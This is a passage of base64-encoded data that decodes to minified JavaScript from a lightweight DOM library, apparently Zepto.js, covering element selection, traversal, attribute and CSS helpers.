dW5jdGlvbiJ9ZnVuY3Rpb24gSShhKXtyZXR1cm4gYSE9bnVsbCYmYT09YS53aW5kb3d9ZnVuY3Rpb24gSihhKXtyZXR1cm4gYSE9bnVsbCYmYS5ub2RlVHlwZT09YS5ET0NVTUVOVF9OT0RFfWZ1bmN0aW9uIEsoYSl7cmV0dXJuIEcoYSk9PSJvYmplY3QifWZ1bmN0aW9uIEwoYSl7cmV0dXJuIEsoYSkmJiFJKGEpJiZPYmplY3QuZ2V0UHJvdG90eXBlT2YoYSk9PU9iamVjdC5wcm90b3R5cGV9ZnVuY3Rpb24gTShhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEFycmF5fWZ1bmN0aW9uIE4oYSl7cmV0dXJuIHR5cGVvZiBhLmxlbmd0aD09Im51bWJlciJ9ZnVuY3Rpb24gTyhhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYSl7cmV0dXJuIGEhPW51bGx9KX1mdW5jdGlvbiBQKGEpe3JldHVybiBhLmxlbmd0aD4wP2MuZm4uY29uY2F0LmFwcGx5KFtdLGEpOmF9ZnVuY3Rpb24gUShhKXtyZXR1cm4gYS5yZXBsYWNlKC86Oi9nLCIvIikucmVwbGFjZSgvKFtBLVpdKykoW0EtWl1bYS16XSkvZywiJDFfJDIiKS5yZXBsYWNlKC8oW2EtelxkXSkoW0EtWl0pL2csIiQxXyQyIikucmVwbGFjZSgvXy9nLCItIikudG9Mb3dlckNhc2UoKX1mdW5jdGlvbiBSKGEpe3JldHVybiBhIGluIGo/althXTpqW2FdPW5ldyBSZWdFeHAoIihefFxccykiK2ErIihcXHN8JCkiKX1mdW5jdGlvbiBTKGEsYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIiYmIWtbUShhKV0/YisicHgiOmJ9ZnVuY3Rpb24gVChhKXt2YXIgYixjO3JldHVybiBpW2FdfHwoYj1oLmNyZWF0ZUVsZW1lbnQoYSksaC5ib2R5LmFwcGVuZENoaWxkKGIpLGM9Z2V0Q29tcHV0ZWRTdHlsZShiLCIiKS5nZXRQcm9wZXJ0eVZhbHVlKCJkaXNwbGF5IiksYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGM9PSJub25lIiYmKGM9ImJsb2NrIiksaVthXT1jKSxpW2FdfWZ1bmN0aW9uIFUoYSl7cmV0dXJuImNoaWxkcmVuImluIGE/Zi5jYWxsKGEuY2hpbGRyZW4pOmMubWFwKGEuY2hpbGROb2RlcyxmdW5jdGlvbihhKXtpZihhLm5vZGVUeXBlPT0xKXJldHVybiBhfSl9ZnVuY3Rpb24gVihjLGQsZSl7Zm9yKGIgaW4gZCllJiYoTChkW2JdKXx8TShkW2JdKSk/KEwoZFtiXSkmJiFMKGNbYl0pJiYoY1tiXT17fSksTShkW2JdKSYmIU0oY1tiXSkmJihjW2JdPVtdKSxWKGNbYl0sZFtiXSxlKSk6ZFtiXSE9PWEmJihjW2JdPWRbYl0pfWZ1bmN0aW9uIFcoYSxiKXtyZXR1cm4gYj09bnVsbD9jKGEpOmMoYSkuZmlsdGVyKGIpfWZ1bmN0aW9uIFgoYSxiLGMsZCl7cmV0dXJuIEgoYik/Yi5jYWxsKGEsYyxkKTpifWZ1bmN0aW9uIFkoYSxiLGMpe2M9PW51bGw/YS5yZW1vdmVBdHRyaWJ1dGUoYik6YS5zZXRBdHRyaWJ1dGUoYixjKX1mdW5jdGlvbiBaKGIsYyl7dmFyIGQ9Yi5jbGFzc05hbWUsZT1kJiZkLmJhc2VWYWwhPT1hO2lmKGM9PT1hKXJldHVybiBlP2QuYmFzZVZhbDpkO2U/ZC5iYXNlVmFsPWM6Yi5jbGFzc05hbWU9Y31mdW5jdGlvbiAkKGEpe3ZhciBiO3RyeXtyZXR1cm4gYT9hPT0idHJ1ZSJ8fChhPT0iZmFsc2UiPyExOmE9PSJudWxsIj9udWxsOiEvXjAvLnRlc3QoYSkmJiFpc05hTihiPU51bWJlcihhKSk/YjovXltcW1x7XS8udGVzdChhKT9jLnBhcnNlSlNPTihhKTphKTphfWNhdGNoKGQpe3JldHVybiBhfX1mdW5jdGlvbiBfKGEsYil7YihhKTtmb3IodmFyIGMgaW4gYS5jaGlsZE5vZGVzKV8oYS5jaGlsZE5vZGVzW2NdLGIpfXZhciBhLGIsYyxkLGU9W10sZj1lLnNsaWNlLGc9ZS5maWx0ZXIsaD13aW5kb3cuZG9jdW1lbnQsaT17fSxqPXt9LGs9eyJjb2x1bW4tY291bnQiOjEsY29sdW1uczoxLCJmb250LXdlaWdodCI6MSwibGluZS1oZWlnaHQiOjEsb3BhY2l0eToxLCJ6LWluZGV4IjoxLHpvb206MX0sbD0vXlxzKjwoXHcrfCEpW14+XSo+LyxtPS9ePChcdyspXHMqXC8/Pig/OjxcL1wxPnwpJC8sbj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2lnLG89L14oPzpib2R5fGh0bWwpJC9pLHA9LyhbQS1aXSkvZyxxPVsidmFsIiwiY3NzIiwiaHRtbCIsInRleHQiLCJkYXRhIiwid2lkdGgiLCJoZWlnaHQiLCJvZmZzZXQiXSxyPVsiYWZ0ZXIiLCJwcmVwZW5kIiwiYmVmb3JlIiwiYXBwZW5kIl0scz1oLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1oLmNyZWF0ZUVsZW1lbnQoInRyIiksdT17dHI6aC5jcmVhdGVFbGVtZW50KCJ0Ym9keSIpLHRib2R5OnMsdGhlYWQ6cyx0Zm9vdDpzLHRkOnQsdGg6dCwiKiI6aC5jcmVhdGVFbGVtZW50KCJkaXYiKX0sdj0vY29tcGxldGV8bG9hZGVkfGludGVyYWN0aXZlLyx3PS9eXC4oW1x3LV0rKSQvLHg9L14jKFtcdy1dKikkLyx5PS9eW1x3LV0qJC8sej17fSxBPXoudG9TdHJpbmcsQj17fSxDLEQsRT1oLmNyZWF0ZUVsZW1lbnQoImRpdiIpLEY9e3RhYmluZGV4OiJ0YWJJbmRleCIscmVhZG9ubHk6InJlYWRPbmx5IiwiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIixtYXhsZW5ndGg6Im1heExlbmd0aCIsY2VsbHNwYWNpbmc6ImNlbGxTcGFjaW5nIixjZWxscGFkZGluZzoiY2VsbFBhZGRpbmciLHJvd3NwYW46InJvd1NwYW4iLGNvbHNwYW46ImNvbFNwYW4iLHVzZW1hcDoidXNlTWFwIixmcmFtZWJvcmRlcjoiZnJhbWVCb3JkZXIiLGNvbnRlbnRlZGl0YWJsZToiY29udGVudEVkaXRhYmxlIn07cmV0dXJuIEIubWF0Y2hlcz1mdW5jdGlvbihhLGIpe2lmKCFifHwhYXx8YS5ub2RlVHlwZSE9PTEpcmV0dXJuITE7dmFyIGM9YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubWF0Y2hlc1NlbGVjdG9yO2lmKGMpcmV0dXJuIGMuY2FsbChhLGIpO3ZhciBkLGU9YS5wYXJlbnROb2RlLGY9IWU7cmV0dXJuIGYmJihlPUUpLmFwcGVuZENoaWxkKGEpLGQ9fkIucXNhKGUsYikuaW5kZXhPZihhKSxmJiZFLnJlbW92ZUNoaWxkKGEpLGR9LEM9ZnVuY3Rpb24oYSl7cmV0dXJuIGEucmVwbGFjZSgvLSsoLik/L2csZnVuY3Rpb24oYSxiKXtyZXR1cm4gYj9iLnRvVXBwZXJDYXNlKCk6IiJ9KX0sRD1mdW5jdGlvbihhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5pbmRleE9mKGIpPT1jfSl9LEIuZnJhZ21lbnQ9ZnVuY3Rpb24oYixkLGUpe3ZhciBnLGksajtyZXR1cm4gbS50ZXN0KGIpJiYoZz1jKGguY3JlYXRlRWxlbWVudChSZWdFeHAuJDEpKSksZ3x8KGIucmVwbGFjZSYmKGI9Yi5yZXBsYWNlKG4sIjwkMT48LyQyPiIpKSxkPT09YSYmKGQ9bC50ZXN0KGIpJiZSZWdFeHAuJDEpLGQgaW4gdXx8KGQ9IioiKSxqPXVbZF0sai5pbm5lckhUTUw9IiIrYixnPWMuZWFjaChmLmNhbGwoai5jaGlsZE5vZGVzKSxmdW5jdGlvbigpe2oucmVtb3ZlQ2hpbGQodGhpcyl9KSksTChlKSYmKGk9YyhnKSxjLmVhY2goZSxmdW5jdGlvbihhLGIpe3EuaW5kZXhPZihhKT4tMT9pW2FdKGIpOmkuYXR0cihhLGIpfSkpLGd9LEIuWj1mdW5jdGlvbihhLGIpe3JldHVybiBhPWF8fFtdLGEuX19wcm90b19fPWMuZm4sYS5zZWxlY3Rvcj1ifHwiIixhfSxCLmlzWj1mdW5jdGlvbihhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEIuWn0sQi5pbml0PWZ1bmN0aW9uKGIsZCl7dmFyIGU7aWYoIWIpcmV0dXJuIEIuWigpO2lmKHR5cGVvZiBiPT0ic3RyaW5nIil7Yj1iLnRyaW0oKTtpZihiWzBdPT0iPCImJmwudGVzdChiKSllPUIuZnJhZ21lbnQoYixSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fWVsc2V7aWYoSChiKSlyZXR1cm4gYyhoKS5yZWFkeShiKTtpZihCLmlzWihiKSlyZXR1cm4gYjtpZihNKGIpKWU9TyhiKTtlbHNlIGlmKEsoYikpZT1bYl0sYj1udWxsO2Vsc2UgaWYobC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLnRyaW0oKSxSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fXJldHVybiBCLlooZSxiKX0sYz1mdW5jdGlvbihhLGIpe3JldHVybiBCLmluaXQoYSxiKX0sYy5leHRlbmQ9ZnVuY3Rpb24oYSl7dmFyIGIsYz1mLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiB0eXBlb2YgYT09ImJvb2xlYW4iJiYoYj1hLGE9Yy5zaGlmdCgpKSxjLmZvckVhY2goZnVuY3Rpb24oYyl7VihhLGMsYil9KSxhfSxCLnFzYT1mdW5jdGlvbihhLGIpe3ZhciBjLGQ9YlswXT09IiMiLGU9IWQmJmJbMF09PSIuIixnPWR8fGU/Yi5zbGljZSgxKTpiLGg9eS50ZXN0KGcpO3JldHVybiBKKGEpJiZoJiZkPyhjPWEuZ2V0RWxlbWVudEJ5SWQoZykpP1tjXTpbXTphLm5vZGVUeXBlIT09MSYmYS5ub2RlVHlwZSE9PTk/W106Zi5jYWxsKGgmJiFkP2U/YS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGcpOmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoYik6YS5xdWVyeVNlbGVjdG9yQWxsKGIpKX0sYy5jb250YWlucz1mdW5jdGlvbihhLGIpe3JldHVybiBhIT09YiYmYS5jb250YWlucyhiKX0sYy50eXBlPUcsYy5pc0Z1bmN0aW9uPUgsYy5pc1dpbmRvdz1JLGMuaXNBcnJheT1NLGMuaXNQbGFpbk9iamVjdD1MLGMuaXNFbXB0eU9iamVjdD1mdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxjLmluQXJyYXk9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBlLmluZGV4T2YuY2FsbChiLGEsYyl9LGMuY2FtZWxDYXNlPUMsYy50cmltPWZ1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsPyIiOlN0cmluZy5wcm90b3R5cGUudHJpbS5jYWxsKGEpfSxjLnV1aWQ9MCxjLnN1cHBvcnQ9e30sYy5leHByPXt9LGMubWFwPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1bXSxlLGY7aWYoTihhKSlmb3IoZT0wO2U8YS5sZW5ndGg7ZSsrKWM9YihhW2VdLGUpLGMhPW51bGwmJmQucHVzaChjKTtlbHNlIGZvcihmIGluIGEpYz1iKGFbZl0sZiksYyE9bnVsbCYmZC5wdXNoKGMpO3JldHVybiBQKGQpfSxjLmVhY2g9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkO2lmKE4oYSkpe2ZvcihjPTA7YzxhLmxlbmd0aDtjKyspaWYoYi5jYWxsKGFbY10sYyxhW2NdKT09PSExKXJldHVybiBhfWVsc2UgZm9yKGQgaW4gYSlpZihiLmNhbGwoYVtkXSxkLGFbZF0pPT09ITEpcmV0dXJuIGE7cmV0dXJuIGF9LGMuZ3JlcD1mdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoYSxiKX0sd2luZG93LkpTT04mJihjLnBhcnNlSlNPTj1KU09OLnBhcnNlKSxjLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IiLnNwbGl0KCIgIiksZnVuY3Rpb24oYSxiKXt6WyJbb2JqZWN0ICIrYisiXSJdPWIudG9Mb3dlckNhc2UoKX0pLGMuZm49e2ZvckVhY2g6ZS5mb3JFYWNoLHJlZHVjZTplLnJlZHVjZSxwdXNoOmUucHVzaCxzb3J0OmUuc29ydCxpbmRleE9mOmUuaW5kZXhPZixjb25jYXQ6ZS5jb25jYXQsbWFwOmZ1bmN0aW9uKGEpe3JldHVybiBjKGMubWFwKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gYyhmLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LHJlYWR5OmZ1bmN0aW9uKGEpe3JldHVybiB2LnRlc3QoaC5yZWFkeVN0YXRlKSYmaC5ib2R5P2EoYyk6aC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmdW5jdGlvbigpe2EoYyl9LCExKSx0aGlzfSxnZXQ6ZnVuY3Rpb24oYil7cmV0dXJuIGI9PT1hP2YuY2FsbCh0aGlzKTp0aGlzW2I+PTA/YjpiK3RoaXMubGVuZ3RoXX0sdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldCgpfSxzaXplOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5wYXJlbnROb2RlIT1udWxsJiZ0aGlzLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodGhpcyl9KX0sZWFjaDpmdW5jdGlvbihhKXtyZXR1cm4gZS5ldmVyeS5jYWxsKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKSE9PSExfSksdGhpc30sZmlsdGVyOmZ1bmN0aW9uKGEpe3JldHVybiBIKGEpP3RoaXMubm90KHRoaXMubm90KGEpKTpjKGcuY2FsbCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBCLm1hdGNoZXMoYixhKX0pKX0sYWRkOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGMoRCh0aGlzLmNvbmNhdChjKGEsYikpKSl9LGlzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmxlbmd0aD4wJiZCLm1hdGNoZXModGhpc1swXSxhKX0sbm90OmZ1bmN0aW9uKGIpe3ZhciBkPVtdO2lmKEgoYikmJmIuY2FsbCE9PWEpdGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2IuY2FsbCh0aGlzLGEpfHxkLnB1c2godGhpcyl9KTtlbHNle3ZhciBlPXR5cGVvZiBiPT0ic3RyaW5nIj90aGlzLmZpbHRlcihiKTpOKGIpJiZIKGIuaXRlbSk/Zi5jYWxsKGIpOmMoYik7dGhpcy5mb3JFYWNoKGZ1bmN0aW9uKGEpe2UuaW5kZXhPZihhKTwwJiZkLnB1c2goYSl9KX1yZXR1cm4gYyhkKX0saGFzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiBLKGEpP2MuY29udGFpbnModGhpcyxhKTpjKHRoaXMpLmZpbmQoYSkuc2l6ZSgpfSl9LGVxOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09LTE/dGhpcy5zbGljZShhKTp0aGlzLnNsaWNlKGEsK2ErMSl9LGZpcnN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1swXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxsYXN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1t0aGlzLmxlbmd0aC0xXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxmaW5kOmZ1bmN0aW9uKGEpe3ZhciBiLGQ9dGhpcztyZXR1cm4gdHlwZW9mIGE9PSJvYmplY3QiP2I9YyhhKS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgYT10aGlzO3JldHVybiBlLnNvbWUuY2FsbChkLGZ1bmN0aW9uKGIpe3JldHVybiBjLmNvbnRhaW5zKGIsYSl9KX0pOnRoaXMubGVuZ3RoPT0xP2I9YyhCLnFzYSh0aGlzWzBdLGEpKTpiPXRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIEIucXNhKHRoaXMsYSl9KSxifSxjbG9zZXN0OmZ1bmN0aW9uKGEsYil7dmFyIGQ9dGhpc1swXSxlPSExO3R5cGVvZiBhPT0ib2JqZWN0IiYmKGU9YyhhKSk7d2hpbGUoZCYmIShlP2UuaW5kZXhPZihkKT49MDpCLm1hdGNoZXMoZCxhKSkpZD1kIT09YiYmIUooZCkmJmQucGFyZW50Tm9kZTtyZXR1cm4gYyhkKX0scGFyZW50czpmdW5jdGlvbihhKXt2YXIgYj1bXSxkPXRoaXM7d2hpbGUoZC5sZW5ndGg+MClkPWMubWFwKGQsZnVuY3Rpb24oYSl7aWYoKGE9YS5wYXJlbnROb2RlKSYmIUooYSkmJmIuaW5kZXhPZihhKTwwKXJldHVybiBiLnB1c2goYSksYX0pO3JldHVybiBXKGIsYSl9LHBhcmVudDpmdW5jdGlvbihhKXtyZXR1cm4gVyhEKHRoaXMucGx1Y2soInBhcmVudE5vZGUiKSksYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBXKHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIFUodGhpcyl9KSxhKX0sY29udGVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gZi5jYWxsKHRoaXMuY2hpbGROb2Rlcyl9KX0sc2libGluZ3M6ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oYSxiKXtyZXR1cm4gZy5jYWxsKFUoYi5wYXJlbnROb2RlKSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9PWJ9KX0pLGEpfSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLmlubmVySFRNTD0iIn0pfSxwbHVjazpmdW5jdGlvbihhKXtyZXR1cm4gYy5tYXAodGhpcyxmdW5jdGlvbihiKXtyZXR1cm4gYlthXX0pfSxzaG93OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuZGlzcGxheT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PSIiKSxnZXRDb21wdXRlZFN0eWxlKHRoaXMsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PVQodGhpcy5ub2RlTmFtZSkpfSl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmJlZm9yZShhKS5yZW1vdmUoKX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO2lmKHRoaXNbMF0mJiFiKXZhciBkPWMoYSkuZ2V0KDApLGU9ZC5wYXJlbnROb2RlfHx0aGlzLmxlbmd0aD4xO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZil7Yyh0aGlzKS53cmFwQWxsKGI/YS5jYWxsKHRoaXMsZik6ZT9kLmNsb25lTm9kZSghMCk6ZCl9KX0sd3JhcEFsbDpmdW5jdGlvbihhKXtpZih0aGlzWzBdKXtjKHRoaXNbMF0pLmJlZm9yZShhPWMoYSkpO3ZhciBiO3doaWxlKChiPWEuY2hpbGRyZW4oKSkubGVuZ3RoKWE9Yi5maXJzdCgpO2MoYSkuYXBwZW5kKHRoaXMpfXJldHVybiB0aGlzfSx3cmFwSW5uZXI6ZnVuY3Rpb24oYSl7dmFyIGI9SChhKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGQpe3ZhciBlPWModGhpcyksZj1lLmNvbnRlbnRzKCksZz1iP2EuY2FsbCh0aGlzLGQpOmE7Zi5sZW5ndGg/Zi53cmFwQWxsKGcpOmUuYXBwZW5kKGcpfSl9LHVud3JhcDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnBhcmVudCgpLmVhY2goZnVuY3Rpb24oKXtjKHRoaXMpLnJlcGxhY2VXaXRoKGModGhpcykuY2hpbGRyZW4oKSl9KSx0aGlzfSxjbG9uZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiB0aGlzLmNsb25lTm9kZSghMCl9KX0saGlkZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNzcygiZGlzcGxheSIsIm5vbmUiKX0sdG9nZ2xlOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgZD1jKHRoaXMpOyhiPT09YT9kLmNzcygiZGlzcGxheSIpPT0ibm9uZSI6Yik/ZC5zaG93KCk6ZC5oaWRlKCl9KX0scHJldjpmdW5jdGlvbihhKXtyZXR1cm4gYyh0aGlzLnBsdWNrKCJwcmV2aW91c0VsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soIm5leHRFbGVtZW50U2libGluZyIpKS5maWx0ZXIoYXx8IioiKX0saHRtbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLmlubmVySFRNTDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD10aGlzLmlubmVySFRNTDtjKHRoaXMpLmVtcHR5KCkuYXBwZW5kKFgodGhpcyxhLGIsZCkpfSl9LHRleHQ6ZnVuY3Rpb24oYil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg9PT0wP3RoaXMubGVuZ3RoPjA/dGhpc1swXS50ZXh0Q29udGVudDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMudGV4dENvbnRlbnQ9Yj09PWE/IiI6IiIrYn0pfSxhdHRyOmZ1bmN0aW9uKGMsZCl7dmFyIGU7cmV0dXJuIHR5cGVvZiBjPT0ic3RyaW5nIiYmZD09PWE/dGhpcy5sZW5ndGg9PTB8fHRoaXNbMF0ubm9kZVR5cGUhPT0xP2E6Yz09InZhbHVlIiYmdGhpc1swXS5ub2RlTmFtZT09IklOUFVUIj90aGlzLnZhbCgpOiEoZT10aGlzWzBdLmdldEF0dHJpYnV0ZShjKSkmJmMgaW4gdGhpc1swXT90aGlzWzBdW2NdOmU6dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2lmKHRoaXMubm9kZVR5cGUhPT0xKXJldHVybjtpZihLKGMpKWZvcihiIGluIGMpWSh0aGlzLGIsY1tiXSk7ZWxzZSBZKHRoaXMsYyxYKHRoaXMsZCxhLHRoaXMuZ2V0QXR0cmlidXRlKGMpKSl9KX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5ub2RlVHlwZT09PTEmJlkodGhpcyxhKX0pfSxwcm9wOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9RltiXXx8YixjPT09YT90aGlzWzBdJiZ0aGlzWzBdW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXt0aGlzW2JdPVgodGhpcyxjLGEsdGhpc1tiXSl9KX0sZGF0YTpmdW5jdGlvbihiLGMpe3ZhciBkPXRoaXMuYXR0cigiZGF0YS0iK2IucmVwbGFjZShwLCItJDEiKS50b0xvd2VyQ2FzZSgpLGMpO3JldHVybiBkIT09bnVsbD8kKGQpOmF9LHZhbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpc1swXSYmKHRoaXNbMF0ubXVsdGlwbGU/Yyh0aGlzWzBdKS5maW5kKCJvcHRpb24iKS5maWx0ZXIoZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZWxlY3RlZH0pLnBsdWNrKCJ2YWx1ZSIpOnRoaXNbMF0udmFsdWUpOnRoaXMuZWFjaChmdW5jdGlvbihiKXt0aGlzLnZhbHVlPVgodGhpcyxhLGIsdGhpcy52YWx1ZSl9KX0sb2Zmc2V0OmZ1bmN0aW9uKGEpe2lmKGEpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD1jKHRoaXMpLGU9WCh0aGlzLGEsYixkLm9mZnNldCgpKSxmPWQub2Zmc2V0UGFyZW50KCkub2Zmc2V0KCksZz17dG9wOmUudG9wLWYudG9wLGxlZnQ6ZS5sZWZ0LWYubGVmdH07ZC5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiJiYoZy5wb3NpdGlvbj0icmVsYXRpdmUiKSxkLmNzcyhnKX0pO2lmKHRoaXMubGVuZ3RoPT0wKXJldHVybiBudWxsO3ZhciBiPXRoaXNbMF0uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJue2xlZnQ6Yi5sZWZ0K3dpbmRvdy5wYWdlWE9mZnNldCx0b3A6Yi50b3Ard2luZG93LnBhZ2VZT2Zmc2V0LHdpZHRoOk1hdGgucm91bmQoYi53aWR0aCksaGVpZ2h0Ok1hdGgucm91bmQoYi5oZWlnaHQpfX0sY3NzOmZ1bmN0aW9uKGEsZCl7aWYoYXJndW1lbnRzLmxlbmd0aDwyKXt2YXIgZT10aGlzWzBdLGY9Z2V0Q29tcHV0ZWRTdHlsZShlLCIiKTtpZighZSlyZXR1cm47aWYodHlwZW9mIGE9PSJzdHJpbmciKXJldHVybiBlLnN0eWxlW0MoYSldfHxmLmdldFByb3BlcnR5VmFsdWUoYSk7aWYoTShhKSl7dmFyIGc9e307cmV0dXJuIGMuZWFjaChNKGEpP2E6W2FdLGZ1bmN0aW9uKGEsYil7Z1tiXT1lLnN0eWxlW0MoYildfHxmLmdldFByb3BlcnR5VmFsdWUoYil9KSxnfX12YXIgaD0iIjtpZihHKGEpPT0ic3RyaW5nIikhZCYmZCE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGEpKX0pOmg9UShhKSsiOiIrUyhhLGQpO2Vsc2UgZm9yKGIgaW4gYSkhYVtiXSYmYVtiXSE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGIpKX0pOmgrPVEoYikrIjoiK1MoYixhW2JdKSsiOyI7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuY3NzVGV4dCs9IjsiK2h9KX0saW5kZXg6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5pbmRleE9mKGMoYSlbMF0pOnRoaXMucGFyZW50KCkuY2hpbGRyZW4oKS5pbmRleE9mKHRoaXNbMF0pfSxoYXNDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT9lLnNvbWUuY2FsbCh0aGlzLGZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnRlc3QoWihhKSl9LFIoYSkpOiExfSxhZGRDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmVhY2goZnVuY3Rpb24oYil7ZD1bXTt2YXIgZT1aKHRoaXMpLGY9WCh0aGlzLGEsYixlKTtmLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihhKXtjKHRoaXMpLmhhc0NsYXNzKGEpfHxkLnB1c2goYSl9LHRoaXMpLGQubGVuZ3RoJiZaKHRoaXMsZSsoZT8iICI6IiIpK2Quam9pbigiICIpKX0pOnRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7aWYoYj09PWEpcmV0dXJuIFoodGhpcywiIik7ZD1aKHRoaXMpLFgodGhpcyxiLGMsZCkuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2Q9ZC5yZXBsYWNlKFIoYSksIiAiKX0pLFoodGhpcyxkLnRyaW0oKSl9KX0sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oYixkKXtyZXR1cm4gYj90aGlzLmVhY2goZnVuY3Rpb24oZSl7d